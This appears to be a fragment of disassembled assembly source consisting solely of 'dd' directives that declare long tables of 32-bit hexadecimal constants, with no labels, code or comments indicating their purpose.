		dd 0B44B4D8Ah, 24B22E9Bh, 0A62564A2h, 0EE32AE70h, 4BAF501Eh
		dd 0F57CB9CFh, 8899106h, 48883D61h, 83454787h, 5F55BC3h
		dd 67C4BAD6h, 0D83CED60h, 348D3AFFh, 854D7504h,	40181DBh
		dd 6AA82081h, 7858F627h, 48C32CFBh, 0F54C6E5Ch,	758A6CB3h
		dd 1742C77Ch, 0C67B957h, 1388E22Eh, 5BB53E89h, 94EB930h
		dd 0FEB4004h, 0A6784DAh, 0DBBF0817h, 8343C80Dh,	7C030AFBh
		dd 6CB9FF9Bh, 0EA8A686Eh, 44F685AFh, 5384CEBCh,	430A8D3Bh
		dd 0FA8F73B1h, 7D02F9Fh, 3C476094h, 20F5128h, 50562231h
		dd 0C752416h, 4FEB70F5h, 976C7A95h, 1C156DF9h, 0A05C12A2h
		dd 51A9A3FAh, 4B9E26EFh, 0A5126FE5h, 9D4FCE09h,	2D07D8E1h
		dd 0D1FD2456h, 0DC120A34h, 0E25A466Bh, 0A480C214h, 770B294Bh
		dd 0F86459D2h, 73A8FC06h, 1A74610Eh, 0F8F728Eh,	22CAF013h
		dd 0B974A192h, 87880355h, 0CE83C942h, 0CD08EFEEh, 14A72709h
		dd 5A070D74h, 52BE478Ah, 0B42985EAh, 0D34B3BE5h, 8ADF89E8h
		dd 0DC3C0BEh, 207E7F54h, 2B75E8F6h, 190A4564h, 7F0AC086h
		dd 481C330Eh, 4136AC9Ah, 4512C439h, 97606AA3h, 2A20C983h
		dd 4615B7EBh, 9C09938Eh, 86EE09A2h, 0EB147D14h,	90598E9h
		dd 0ABF6737Ah, 0FC6F3828h, 0CE816520h, 25EBDDB4h, 2620B882h
		dd 5975C885h, 0EAB20B74h, 0CC3E4630h, 0E3487462h, 10922ECDh
		dd 8340EF0Bh, 0F6407506h, 1EBBB0C5h, 2ACD803Bh,	0F8C8CF1Fh
		dd 0C8BA2EABh, 0BF8487D7h, 0C817752Eh, 6ECE5117h, 175957D4h
		dd 0AA707477h, 720CABD2h, 682F8684h, 0B0D8C4A4h, 3FD89BF6h
		dd 1E0727A7h, 0CB3BE1C4h, 0FA537F7Dh, 140412ECh, 914005FFh
		dd 6070894Dh, 47658C3h,	80A1866h, 0C1419F06h, 75327F10h
		dd 9A9B5A15h, 0ED3325B8h, 3BC0F980h, 7E0957D5h,	641D8B5Dh
		dd 3FB4CF5h, 74CD017Fh,	0C41F615h, 400AD883h, 0C2FC0DB2h
		dd 0EBEC7C03h, 0FF348B3Fh, 8EC02454h, 2DC1206Ah, 90C602E7h
		dd 30A00DFAh, 0F4E0489h, 73C2D30h, 0A0FD4A3Bh, 0F5ECF78Eh
		dd 104EF0A8h, 6E89FF1Bh, 0EDF89EECh, 0A2EEE98h,	0C64A8B1Ch
		dd 603099EBh, 535B2430h, 6CEB0442h, 0D4D80907h,	808C0F24h
		dd 8A5BFE4Fh, 978FE10Dh, 230EE15h, 585CBD34h, 0B04AF94Bh
		dd 0C364F6E2h, 0DEF0060Ah, 22F5A27Eh, 60E06AE8h, 0FC4B8D48h
		dd 6DC02A69h, 98BE90FFh, 89D616F7h, 0D1000975h,	57F02B87h
		dd 1C55C0C2h, 404E0C8Dh, 0E430B9F2h, 0C96BC812h, 4D033C0Ah
		dd 0D060618h, 4A964A78h, 151A04Fh, 0EC50CFB8h, 8C028D89h
		dd 55818011h, 0FDC07F7Ch, 2BD72074h, 3DD989E1h,	0B04570FBh
		dd 875CBF69h, 536D0141h, 923CDF46h, 780664CAh, 0C1535F80h
		dd 175625EBh, 12E8B63Ah, 1EA9A508h, 84A38EDh, 0FA3083Dh
		dd 0ACD64675h, 535B171Fh, 0BE638E19h, 3E6B6072h, 5127C55Eh
		dd 501AA825h, 41EB241Dh, 0DE42AF22h, 431C2226h,	48BE4854h
		dd 271093EBh, 0CBD55B20h, 7EF782FFh, 0A74A5955h, 0F8C8E525h
		dd 0A1E640DAh, 8C41EA2h, 48A11D4Ah, 4265DE2Ah, 59E93249h
		dd 0E55E5D34h, 3145D395h, 24A13220h, 0AD7A6BB7h, 3B2F09E8h
		dd 0CEB3C1C4h, 0AB400816h, 641564D1h, 0C14FD463h, 2FDF3BCBh
		dd 91AA5434h, 701B0436h, 245E0393h, 80DC73D1h, 0C4044D7Eh
		dd 9155E684h, 647A13F6h, 4EF11AC5h, 729B122Fh, 742DD07Ah
		dd 0B5B4C366h, 8E446226h, 4DF58958h, 231BF2A1h,	585011A6h
		dd 0D8C35086h, 74F73B00h, 0D45F632h, 0CC40EC04h, 0B2F21C7Eh
		dd 0D6413B89h, 0DB591E7Fh, 2255331Eh, 9C28FCDh,	658DBB01h
		dd 70797EC8h, 0B440B637h, 5A3B8F36h, 0B4329CC4h, 0DBE41612h
		dd 0FDC1B3A6h, 56B474DFh, 68E4CB95h, 549C74F1h,	75B40690h
		dd 0EB2B0804h, 52308D06h, 95022068h, 1529C066h,	0FAAFC058h
		dd 0DE717DD4h, 37C69202h, 0BE547572h, 85075CA2h, 0E18D56D2h
		dd 2E0D74FFh, 5F40BFF5h, 9C49F18Bh, 1BF31918h, 2B05D85Eh
		dd 2F843FD0h, 3167FC2h,	3BFB60BFh, 619B940Dh, 6979830Fh
		dd 64C13537h, 8AB2FFB2h, 32A0A825h, 66488A57h, 0A19C107Dh
		dd 7BF00632h, 9B4C09C9h, 822FFDF6h, 7351574Fh, 1464B7EBh
		dd 2F13BFC6h, 29C1C382h, 330EB2C2h, 803FCC8h, 5EE7860Fh
		dd 2C26EB25h, 2BFC39FCh, 8E740CADh, 0FE17299Bh,	0EFABD40h
		dd 14AA0A6Ch, 15C670F0h, 0BE88400Dh, 958DC80Ah,	0CA2B0B2Ah
		dd 7C62DE54h, 110DE2CCh, 79E22B3Ch, 130EA1B8h, 6CB7DC57h
		dd 43193F93h, 8A40F4E6h, 36C73BF8h, 0CA140B7Ch,	10D107FBh
		dd 0BA478A72h, 0C52814DAh, 4C9833EFh, 6A5F0788h, 45875805h
		dd 594C7582h, 0A6A3651Bh, 984C12A9h, 0B6005CCDh, 14C7EB08h
		dd 0DCF44D8Dh, 65D0E649h, 0D2280BA2h, 0EBF844B0h, 122DA5A7h
		dd 98C7529Ch, 2DB43D88h, 1C854064h, 3CB689FAh, 0FECD149Dh
		dd 226C42ACh, 3D89281Ch, 16EB286Dh, 6EF04FA0h, 0F5E34BEBh
		dd 4F98EE4Ah, 394E2701h, 353BEB81h, 344A2884h, 0B8BB2289h
		dd 52069203h, 4214F33Bh, 0B8D20B56h, 3968C050h,	72742630h
		dd 18F93A88h, 1A45403Dh, 0F1BFF17Ch, 45A320BCh,	3198334Ch
		dd 406A5524h, 0BF2D022Ah, 0CDC8B6A0h, 0A2B8E87Dh, 0ABF35188h
		dd 101EAA5Ch, 0A650B7A4h
		dd 7D8088EFh, 8414EE62h, 7012ABBh, 0A5118AEFh, 765EB3D2h
		dd 0FF41B61Bh, 0C23BE908h, 0A09387FCh, 0D3A18826h, 0EE13828Bh
		dd 92C25394h, 7052348Dh, 3D3D9049h, 9E15AA04h, 0F94E9260h
		dd 74CB010Fh, 1518A2Ch,	25B48EBBh, 0D2861C7Eh, 778B01FAh
		dd 20558B14h, 486292F6h, 86900843h, 1C284047h, 5741F576h
		dd 2D09EA80h, 4B927ED4h, 4ECFD58h, 0DAC1722Dh, 9C052A90h
		dd 0A6599A3h, 4AADA350h, 8D83400Ch, 79C654B6h, 712190BFh
		dd 0A35929A5h, 0EB183CBCh, 0FF798355h, 486B859Dh, 77D41E94h
		dd 4E82A264h, 15C57A3Dh, 3A56F172h, 55422D42h, 0FB681093h
		dd 0C3040C41h, 2AB4E4Ch, 390D0BEBh, 0B8A22C1Dh,	31850E74h
		dd 0DF0509B6h, 5DE932FFh, 0B6A04494h, 848AA32Ch, 1EC6FE56h
		dd 30F2F998h, 444825FFh, 15FDCA6Bh, 0FC0C48D1h,	120F7525h
		dd 881A140Fh, 9EA42D4Ah, 22740362h, 0ECD5E883h,	0D4C7539h
		dd 0F1482534h, 0F8B81F98h, 12CA43EEh, 821BE06h,	4822111Fh
		dd 0A14B6D57h, 0AA6D5C7Ah, 18A6B5AEh, 0DC649EBh, 5FC412DDh
		dd 541ECCEh, 24A6ED2Ah,	1E69E8FFh, 0A516450Bh, 8825107Ch
		dd 0EC052684h, 383A8A0h, 8AF472C6h, 85B2F245h, 84200E82h
		dd 5784427Ch, 61C2558Dh, 3EBB74B6h, 77C13B84h, 35C2AF1Dh
		dd 412BA1BCh, 3AD20B8h,	85483D54h, 4E4C562Dh, 1742AAE7h
		dd 6AFF368Ah, 5FD07505h, 0E8886A5Bh, 0EA4283FAh, 4C7B428Eh
		dd 565744B1h, 2495BA97h, 0A24FD24h, 0EF1F561Eh,	0F2923554h
		dd 0FC24443Eh, 667BC985h, 59B7A408h, 719B285Ch,	8B6673A0h
		dd 0E381114Ah, 0FB261674h, 948A1005h, 48651F05h, 0EB8CA090h
		dd 2302361Ch, 20101074h, 0E3EBB998h, 1DA08028h,	3D908290h
		dd 0EBBF01A8h, 0D4164949h, 32413F26h, 625A0A19h, 0C84C31ABh
		dd 0F720C1E4h, 1F4AA6F2h, 72611832h, 777A0A13h,	674F0E56h
		dd 0EB52E93Ch, 134DB3E0h, 0E45EBE97h, 0B860F036h, 6A12751Fh
		dd 84AAAAFDh, 0FD81597Dh, 7A1DB8F0h, 0A29CC588h, 0D02B7D2Eh
		dd 11755122h, 2FFF6BECh, 0EB8539ADh, 0ECB1BF63h, 0F09162Ah
		dd 8AA24D51h, 0E8DC4A01h, 1886F60Bh, 0C078875h,	41471374h
		dd 2FDB1935h, 0AE16541Ah, 89CA9814h, 2E9C1008h,	0A09BE75h
		dd 0F68B6780h, 0FEB2A363h, 4AC280C0h, 5E67B6B8h, 1758D62h
		dd 0D152DC1Fh, 1ACAB562h, 3A5F5F69h, 0BB538488h, 4B520965h
		dd 94E964DDh, 8588911h,	15989D5Ch, 5AFB8317h, 60FBC105h
		dd 665FC208h, 485234F6h, 0F614A022h, 0D89E294h,	4DE1C830h
		dd 0B5A1AB08h, 5DEC0C53h, 4E7CE85Bh, 0D1703F6h,	8C875DB8h
		dd 30DBC15h, 3B56D107h,	83BB7DCAh, 0D62B491Fh, 48B5310Ah
		dd 80268327h, 4A0CC606h, 0C48BF775h, 4BC43548h,	0AF8BD63Dh
		dd 180D0128h, 70EB8383h, 13903D29h, 5D208164h, 9087913Dh
		dd 3D4A8284h, 85421E93h, 8D3D3708h, 24088279h, 0E48F3D21h
		dd 3D112086h, 0A468492h, 0FF538A22h, 86A1E89h, 8959D305h
		dd 5ECF0B5Dh, 8DFBB4EBh, 2E522551h, 7EE492A3h, 0D1099219h
		dd 64401514h, 5D4F5B4Fh, 0ED02E6C9h, 263926C0h,	0B856ED88h
		dd 497406A1h, 0C8EC17EEh, 0FD0CC042h, 39040F00h, 0F53D7510h
		dd 5E491B8Dh, 1613B508h, 2F135510h, 16C78974h, 3BC8972Ah
		dd 9CBE6450h, 0F81F6B3Ch, 752216FDh, 11CFE25h, 0C8FA10B4h
		dd 8AB2117Fh, 708932B4h, 26685A3Fh, 99BE46E6h, 810D443Eh
		dd 203C0A10h, 76FF0676h, 0FA772D1Ah, 4740568h, 52E921CBh
		dd 33531781h, 5BCE10DBh, 5C575614h, 0A2D0B6D8h,	0C0FF3380h
		dd 74C33A50h, 3D743C12h, 0FF470125h, 78957FC6h,	0F7EBF812h
		dd 0E5BD04D8h, 4AF5E63Fh, 483B5FC8h, 0AC340AF3h, 2365AC65h
		dd 3D8B0A09h, 1F380042h, 57553974h, 0D88B3AA9h,	80314559h
		dd 5522943Fh, 0C33B3551h, 2F8E103Eh, 0B584BAA5h, 50DFB2FBh
		dd 3FA04EEh, 7570FD60h,	0A6FF5DC9h, 56669785h, 0C1D8928h
		dd 5F241EECh, 0EC16885Eh, 0A5F71E75h, 0BEB1BE42h, 2B812534h
		dd 0BF8924EBh, 91A10CD8h, 44A3202Ah, 0FE4B8BBCh, 0A85ACEFCh
		dd 55A74FFCh, 4959532Dh, 7538540Bh, 0D9055E1Ah,	2FD52988h
		dd 0A24514F9h, 303332CAh, 864B5067h, 366756B5h,	641450ECh
		dd 50A4B648h, 0A0A3199Dh, 997E5B0Fh, 560B2F92h,	5A06DD14h
		dd 0B398E621h, 0C79441BCh, 0F667DFB6h, 0CC8549B9h, 7EC9F137h
		dd 389949h, 508A449Ch, 48407901h, 2927BFFAh, 0FFAC001Bh
		dd 3E200C9Dh, 90857C01h, 108A0271h, 40461688h, 31D50CA4h
		dd 0D54CEEBh, 1EC7BAC4h, 3A3141CAh, 125243EBh, 0A1FAC05h
		dd 0DA8ACF40h, 25D383C8h, 0CF501834h, 6820CDCFh, 126EBA09h
		dd 1DCC75E4h, 88480309h, 66894BBCh, 70F0D8FFh, 0C29ED218h
		dd 8A2DE0D7h, 86052C02h, 54BE0328h, 8AC818F1h, 7BB0BD34h
		dd 27A147Eh, 0D812D1A2h, 5C46868Ch, 40047512h, 931E10EBh
		dd 895F2C89h, 49970BF4h, 6F6C1810h, 2214783Eh, 3C6BE48Dh
		dd 3EB6702h, 4F56C6EAh,	378D6A7h, 0C2940F18h, 0D1050CF6h
		dd 4BD38BEBh, 430EA8D1h, 14C68948h, 0B2465C06h,	419AF85Ah
		dd 4AA81181h, 7C80B883h, 228B0A52h, 9D3AEA3Fh, 2EDB864Bh
		dd 0E3195329h, 209906E4h, 910F1C58h, 2D03E641h,	0E1A404D2h
		dd 31244855h, 1FC520A6h, 0C842F254h, 4A278303h,	0AECAF78Fh
		dd 5DC6CA75h, 0A4384182h, 0BC815304h, 0FA2E302Dh, 7FF0CE53h
		dd 0D7C1A2F6h, 0D50A0C8Ch, 0F30B52BCh, 4417AD74h, 28891239h
		dd 77970DD8h, 0A1EABC39h, 2111C25h, 0C956BF62h,	811A4171h
		dd 0C44491Dh, 50914049h, 39660BC2h, 0EC74081Eh,	1270401Ch
		dd 0A4F97518h, 2BF21607h, 0D13016C6h, 30F8D1B9h, 6D2408Fh
		dd 89085E18h, 34240B44h, 3600D7FFh, 3274EB3Bh, 2ACD33B1h
		dd 0CB230B60h, 2F77553Ah, 0DD4D7A69h, 0E5B9AF2h, 2393D9F9h
		dd 14345C28h, 0D2F0098Bh, 0E25C8A38h, 90A45312h, 8A6A24Ch
		dd 7470B286h, 0F061B03Ch, 4D0E97C7h, 7EDF8FBh, 0EF2BF605h
		dd 0CE0ED69Bh, 36FF818Eh, 0AB10CF35h, 0BEB16FCh, 0DD56BB0Bh
		dd 90F5DAECh, 0C6893C7Ch, 8BFFD95Fh, 207F595Bh,	324356ADh
		dd 0E7587430h, 1188D9D2h, 17AA5E08h, 17D7BD72h,	24BE40F7h
		dd 9CBCBFB5h, 8896AC97h, 0BE44A610h, 73444332h,	0F7087B02h
		dd 706192C9h, 7CF076E4h, 35F08F5Ah, 55563E45h, 0FF106B06h
		dd 5D321854h, 0E00B855Eh, 6578339Eh, 44534D3Ch,	0C60E380h
		dd 0A9563D04h, 803A20Dh, 51816F5Bh, 0E37B8F44h,	47979AFh
		dd 790CACCDh, 8E7BD2FFh, 4334CF1Bh, 4BB8A1EBh, 0E4CE1DF1h
		dd 51565ADh, 72FF6A5Dh,	17AB5D40h, 556539DFh, 3D7AED7Ah
		dd 1C418C29h, 0E9180850h, 0A1C2255Ch, 0E13FA198h, 480C3D88h
		dd 2A6754C3h, 942F3DF2h, 0C81E6320h, 0D3FC6821h, 9321FB7Fh
		dd 0F5243CA1h, 167BB559h, 2D16D639h, 5E5A1A59h,	0B77ABC10h
		dd 0C8B8E1C0h, 0BAA8C994h, 23F20B5Eh, 12465811h, 4CA056F1h
		dd 3B0314E6h, 0FF4B1B96h, 6D1942C9h, 91FD8D2Bh,	0AFD20DE3h
		dd 0FA81AE31h, 0A2AB7645h, 858D09C0h, 0EF14DD5Ch, 0E4BB6A70h
		dd 22E47525h, 0A7F81888h, 32EC7FFFh, 57130FB4h,	8BD14FEh
		dd 30D7F35Ah, 763CCC59h, 4A1AA429h, 0F89E3250h,	30830E91h
		dd 3716A70h, 0F46968FAh, 5F64CE85h, 7F21FA10h, 565DD868h
		dd 0A9571108h, 6818300Dh, 3F1ED456h, 0CCB61530h, 29FF5FD4h
		dd 682482CAh, 9B012010h, 90ACDA11h, 61700128h, 5F2CB481h
		dd 83F57FEBh, 5231ABCEh
		dd 0FF365E69h, 0C99FE067h, 0BD6FF9F4h, 3C538DCAh, 3E8D4E28h
		dd 3F7BA12Bh, 55594662h, 0C04A99D2h, 9E51EAACh,	0C7F5D37Fh
		dd 1C8318CAh, 1B4811EBh, 14687D2Fh, 91261332h, 95148B46h
		dd 892FD672h, 7C4D1201h, 0E572656Fh, 32A46B41h,	718F9F1Fh
		dd 6EF90C09h, 8C448A0Fh, 0B7402204h, 4BB45E78h,	0DB06A97h
		dd 7752D5Eh, 0EB40A8FCh, 5FC63B06h, 0A3ADC27Dh,	34D41A89h
		dd 590A7161h, 0AF6776FAh, 8B2173C9h, 0D1895626h, 6119235Ch
		dd 2C1A6A08h, 454D23Eh,	158B84F7h, 0A4D0A2ECh, 0F420C01Ch
		dd 0A89ABDAh, 0CB05AE2Eh, 1D0E68B9h, 71F249C2h,	0AFECA75Fh
		dd 52F00ECBh, 0EB1BD3E0h, 3A096C0Fh, 810D4062h,	55C862F9h
		dd 0C4DFD47Ch, 70400475h, 0EFC43D80h, 0E9051321h, 0FBBBF192h
		dd 5F6382F3h, 0FDE55D02h, 13EE96FDh, 4D78C792h,	779D2070h
		dd 0C353958h, 36580888h, 104D488Dh, 0AF8F6527h,	42D125FCh
		dd 0F2BB5093h, 448C4B95h, 0A580BE35h, 2B9D47C6h, 0DF70926Eh
		dd 2A46F26Ch, 85735D2Fh, 38E95697h, 1607F34Eh, 8EE9655Bh
		dd 0D0F70C06h, 8750F23h, 0EA0B14CFh, 0F7131756h, 4B9C87AAh
		dd 762D4AF4h, 897F4AFBh, 4872508h, 0AA5034F7h, 9C5BCF63h
		dd 5C8B5342h, 9655A60Ch, 74570932h, 581911F6h, 50610412h
		dd 0E70ED146h, 1011B817h, 12208179h, 0EE940F01h, 25BC44Bh
		dd 0CBB70F96h, 0BED144C0h, 4AEA5295h, 848AB8BFh, 0AB88BDD6h
		dd 0AC1F4B74h, 1419DE91h, 40170811h, 0B75D63Bh,	0EB3AC7E2h
		dd 0BC5BA07h, 77CC8003h, 805E7905h, 75CD3B89h, 0D48D0C6Bh
		dd 0C04D20D2h, 0F65D5F6Eh, 5B5510C7h, 9278A15Ah, 7B165645h
		dd 8A42B3BDh, 22DF98D1h, 88011040h, 49FDF720h, 8BA2088Dh
		dd 88BACB29h, 64BECA88h, 0AD37AA1Dh, 0CE3B1281h, 0E7625DF2h
		dd 0F80DCE63h, 0A08EB0Ch, 48691CEh, 647C5AADh, 0C745F31h
		dd 75514FB0h, 5B940B06h, 5EC2143Ah, 6834150h, 10484B8Bh
		dd 8909D231h, 0A7FA5520h, 0F0671F7Dh, 16CD101Fh, 2B1781FAh
		dd 0FFC883CAh, 2E27ED3h, 0B01485D2h, 0D85D1C75h, 117D0FC1h
		dd 197E048Dh, 9E0E9638h, 23B1C01Ch, 0BC52F27Ch,	28CE5D5Eh
		dd 96D19FBAh, 4F1428DAh, 43D44D8Bh, 1BB33C8Dh, 55591F2Eh
		dd 0E0D3A412h, 2B379909h, 0C4B7C097h, 784E1A0Ch, 2CFD391Ch
		dd 0A501404Bh, 0EF26BA17h, 7DF60591h, 0A525B8E7h, 7DB5F75Ah
		dd 0BA25D4C3h, 4391DE59h, 0CF0A015Fh, 0B4995EC3h, 34EFC865h
		dd 5E14837Dh, 91848A5Eh, 112460F1h, 5AF20A2Bh, 12BCCE8Bh
		dd 215E0585h, 2D56F643h, 8A47F15Ch, 640F570Eh, 0FC39D3C9h
		dd 0E68AB9A6h, 9D742C09h, 1BF02113h, 3B4013F8h,	0A78D4C1h
		dd 149DC8FFh, 1A5EDA82h, 72564EA6h, 12C808E5h, 3854DB56h
		dd 8930BE04h, 6920134h,	0F062DF4Ah, 0A9DB12F5h,	25F351CFh
		dd 90E01277h, 84410D26h, 0D349F946h, 192EE1D7h,	82C214CFh
		dd 61775BF9h, 0A921998Ah, 3BF083Bh, 5195CFA0h, 0D80C1567h
		dd 7A3DBD5Ah, 0E61F2E90h, 0D61EDA2Bh, 15E40714h, 63DBCE23h
		dd 7A0BE823h, 4B075B3Eh, 2142CB4Ah, 3D5E4E89h, 7530EE22h
		dd 6AF498DCh, 755B7602h, 59080FF7h, 3B21E6C1h, 570F7CDFh
		dd 8173FFC2h, 741004F6h, 67D3EB0Dh, 79F09212h, 0FCE9EA4Bh
		dd 8EE04E79h, 24EE5BDAh, 48EA81BCh, 34D9FD0Ah, 2AE18030h
		dd 6E64827h, 2F4400Ch, 0B43030DCh, 0B7E38110h, 0EBECF5FAh
		dd 0EF127795h, 0F164355h, 0C001FB24h, 0A540E4DFh, 0F4E18157h
		dd 0AF72F633h, 28285D26h, 7F46BD5Fh, 161229D1h,	97FA59C6h
		dd 0A85F926Ch, 8D21289h, 396B7E4h, 8771539h, 541F8B22h
		dd 432B6F59h, 0E62008D4h, 4B4F2B2Ch, 0C14F126h,	3CEBA03Fh
		dd 7FD8093Bh, 540B2B3Fh, 18C8C6D4h, 5413AB46h, 0A7ED0A56h
		dd 0C86314Bh, 0ED245C40h, 9820B2CAh, 0DF5EF930h, 7C1F153Bh
		dd 62D95328h, 57F52A0Ch, 5B8B271Ch, 0F88A977h, 946A3703h
		dd 3FE1362Ch, 65800A25h, 0A227FF7h, 0AD24F303h,	0C19266DAh
		dd 38129E83h, 9413107Fh, 0BFF7B7E0h, 5E992950h,	0B393028h
		dd 57F84EF1h, 1A40FF12h, 36492EEDh, 1AE12EF8h, 0A6F41CEh
		dd 75202484h, 31D25F05h, 0E0686C31h, 0F35E8728h, 7A5E8669h
		dd 0F82CC8EBh, 25259374h, 5F00A955h, 3AE24962h,	7334D514h
		dd 0EF2820B4h, 0A9E64B5Fh, 0F82D42B5h, 0D62585FCh, 385BEF59h
		dd 80BD4AEBh, 0C6017E54h, 8530060Fh, 2BC7EFDBh,	85E3D71Fh
		dd 5A68F9CCh, 0BE3A86F8h, 300241A2h, 4010885Ah,	75EE83FFh
		dd 0A16F4EE9h, 7C508E99h, 3539E712h, 87AA0D54h,	2FDF7A4Eh
		dd 0EB1CB2D8h, 183EFEF5h, 0FF18313Eh, 2F047C42h, 0D3D35712h
		dd 0D1A25F3Ch, 8A38BB92h, 14879C56h, 61A09D57h,	21FF5947h
		dd 4868D037h, 6A19709Ch, 41871104h, 17A5FC8Bh, 78393C66h
		dd 70A3851Bh, 187C282Fh, 4A053787h, 0B68F615h, 0BF7D5F7Dh
		dd 6CEB2EA3h, 0B3C70B3Dh, 284C0D74h, 4B1CB809h,	0D335BD5Eh
		dd 0D0665823h, 27BF0642h, 940207FFh, 0CF6425C8h, 16F1C14Ch
		dd 245BCF23h, 1234C72Eh, 77D9D0C2h, 239483C4h, 6BCFD53Dh
		dd 5B74B5F0h, 0E088513h, 3C0BB928h, 32BF73C9h, 214F77E9h
		dd 75C3D2C0h, 0E8D3E812h, 0BD1FB20Eh, 0BC664B11h, 4BEB990Ch
		dd 0F814014Eh, 658A4C5Ah, 88315AEh, 76C88B0Bh, 48C19743h
		dd 6A77EEE2h, 0CECB4115h, 620AC72Fh, 50F7C903h,	0B1F01DFh
		dd 120C8DD9h, 81404189h, 91E0A2C7h, 0DFEBCB13h,	0CF0B1346h
		dd 8482D9Ah, 29389F1h, 0D82BBC8Dh, 4CBD0620h, 21144375h
		dd 7B68490Eh, 0A17E5C2Fh, 2B69EAAAh, 87C83B14h,	7A2597A2h
		dd 584E109h, 5E31B416h,	68044CB6h, 92AB7206h, 0A3252CA0h
		dd 8DC3180Fh, 120D0F35h, 126AC893h, 936D2961h, 7E8D2826h
		dd 84F67493h, 581C6C38h, 0B8F5A142h, 34A7741Eh,	640A6A8Bh
		dd 0C916EE8Ah, 8F777B0Fh, 0CD032A26h, 754AF88Bh, 16D436BAh
		dd 39157484h, 296F87BAh, 0ABB7E472h, 0A78E5676h, 18558450h
		dd 391724AEh, 3F451D4Fh, 4F901375h, 2574CB3Bh, 55E36607h
		dd 0DA013830h, 0B5E1EB58h, 5127C5C5h, 0A14D8980h, 0B8D044EAh
		dd 392A7E00h, 2F7C1045h, 0AEC96533h, 2BC5EF08h,	2CB89AAh
		dd 527B099Fh, 2DD16490h, 559D7518h, 381E0572h, 9393015Eh
		dd 0EB3E5BDAh, 643E1741h, 3EDC5A50h, 4AC2B03Fh,	0CA18F479h
		dd 27A94E9Dh, 1A5B6A0Eh, 0DC863E8Bh, 1CF7EB1Eh,	5073BFB6h
		dd 40F980E0h, 0A156773h, 45005B20h, 0E0D3C2A5h,	0E0D060CDh
		dd 0F41FE1FCh, 3D0096E2h, 0F81AD227h, 563D0555h, 0BBEA64FAh
		dd 3AA21310h, 32E45008h, 2EF002F0h, 0F07E833Dh,	490D71B7h
		dd 463B0F03h, 0FF09E5FFh, 1207F252h, 0F6E68940h, 1A74EC58h
		dd 300EFF11h, 0F1A5F5Ch, 9244DD23h, 8811C350h, 0BC93186Fh
		dd 0EF2404C4h, 0D53F27BEh, 0B9CCBAC3h, 0B918BFE1h, 0E487A810h
		dd 7CA16118h, 0F3232535h, 0E25D3E25h, 56EFA5B8h, 4992BCF8h
		dd 0F2321C5Eh, 0EBC6F201h, 561C421Dh, 5364B4FCh, 0CEE62008h
		dd 51E5B895h, 492A44A3h, 0E7062408h, 524951Ch, 0D94BDDA1h
		dd 2450E59Eh, 65CC9134h, 0BB272B94h, 5F8AA868h,	419F8A18h
		dd 2D93C68Eh, 0C720842Fh, 9B18119Fh, 3ED2FC40h,	8D7CC963h
		dd 0AF618361h, 6EE76D7Ah, 0F7E67DB1h, 387FA562h, 0BD0BEBCBh
		dd 6056EEBAh, 49EE4A2Fh, 948A298Ah, 4D6056E0h, 0B4561D3Ah
		dd 53C625A7h, 0EE085635h, 8D824C4Ch, 0BEFDCC65h, 444C41B1h
		dd 4830BBBEh, 954910B8h
		dd 74086B01h, 3D911720h, 0EC094A78h, 723013F9h,	77240A1Dh
		dd 206D9B18h, 46AC33Ah,	572814D5h, 81FA11A3h, 29BCF931h
		dd 10911272h, 222642CAh, 0A762F08h, 5F5AECD6h, 0B27E94A9h
		dd 0F6A4602Fh, 449EBCB9h, 4144FB01h, 20BA908Dh,	1C73C2BEh
		dd 0D4D489BDh, 0EBEF33F5h, 2BAFE240h, 0F85EC1F8h, 32AEE9C4h
		dd 0ECF0548Ch, 20FA4779h, 0C6BCBED2h, 43EBC581h, 563642BEh
		dd 470E945Dh, 4B935833h, 554515F3h, 0AF926F31h,	0F215EC14h
		dd 0D6032011h, 0C13EE8EBh, 0DF4EFCE7h, 0F66A32B1h, 98562F13h
		dd 4B7357D3h, 0B741A352h, 84318AFFh, 4DB63612h,	148FE448h
		dd 0E8C91ECFh, 481C8FF6h, 0E3EC08DCh, 0F46A5303h, 750AC6EBh
		dd 0F60340F5h, 18446890h, 8907098Bh, 6B05301Ch,	0FD7BEC5Bh
		dd 0EE91734Dh, 0F9558B0Dh, 2C3CC419h, 0E712BF07h, 0EB371384h
		dd 5C323BD2h, 0AC1FE63Ch, 0F4C82B32h, 21700E49h, 7AC23A50h
		dd 0C830787h, 0C033B230h, 0C3942F37h, 0C0FB73A2h, 14FF6C4h
		dd 74B5FA5Ch, 3FAE10FAh, 203D0EB9h, 0C2FE983Dh,	1FE28379h
		dd 0D13FB9h, 9D502574h,	14119CE5h, 0B24AE992h, 4806FE12h
		dd 4459D257h, 3EC51C12h, 0F6F3B0EEh, 5780C110h,	3969E43Eh
		dd 74E81081h, 0EC0A8F09h, 10FFE4C6h, 6580F7C1h,	0A3EA84DBh
		dd 0A9B82524h, 39C5EFCh, 40C5F611h, 539C009h, 97165864h
		dd 0FF73F452h, 0C1BC6A50h, 0C6235E09h, 2DFB842Bh, 26219E83h
		dd 70811506h, 0B0BF1D89h, 0CDBD6A80h, 4223F48Eh, 9911025h
		dd 1907E540h, 39F8A27Ah, 267499F8h, 18D5200Ah, 0AD23003h
		dd 0B0BBC40Ch, 0EBF03382h, 2AB4594h, 0C5B4979h,	3CAAFA9h
		dd 0BAB83C9Bh, 178F0729h, 0BFB8D204h, 0C804CB66h, 2E74357Fh
		dd 0F42AF4A0h, 44C4BECFh, 113C4C02h, 17C18203h,	0D5AD7A6Eh
		dd 6448F82Ah, 23041337h, 0FCBE792Eh, 547CC29h, 6891A57h
		dd 0DA7611A7h, 19AD0E95h, 54F8368h, 6C970708h, 0C44B647h
		dd 851180BEh, 1374C71Fh, 0D48C0D0Ah, 9274D6A5h,	0AC385714h
		dd 40A88503h, 9281B50Bh, 0F610A7B9h, 50C449FEh,	0F70B25FEh
		dd 8554558h, 0A5E3015h,	62495F9h, 7AE44A0Ch, 630D5966h
		dd 1344CF2Eh, 0F24E15DFh, 0EB2218B2h, 9D74573Eh, 571CA94Bh
		dd 73F49711h, 73742549h, 4BCB2822h, 12C5F756h, 0B3EE1B75h
		dd 4BEB5674h, 0E25E2DE6h, 0DB6A11BDh, 54067512h, 925669Ch
		dd 0A7A4D9FAh, 53560814h, 59A2137Ch, 4E67EAACh,	0CCB23F3h
		dd 887798EDh, 7A0B452Ch, 0E9F38FD2h, 400DC48h, 0B1787504h
		dd 43F6C545h, 6EB102F9h, 0FF92D36Ah, 25F1E5DFh,	0C269A674h
		dd 4BEFFE4Eh, 740CD072h, 6E3FEB4Dh, 3AA6BC13h, 0B089EB4Eh
		dd 86BF41D4h, 0F4167527h, 14413F3Ch, 7C1605CAh,	4C8CFA8Ah
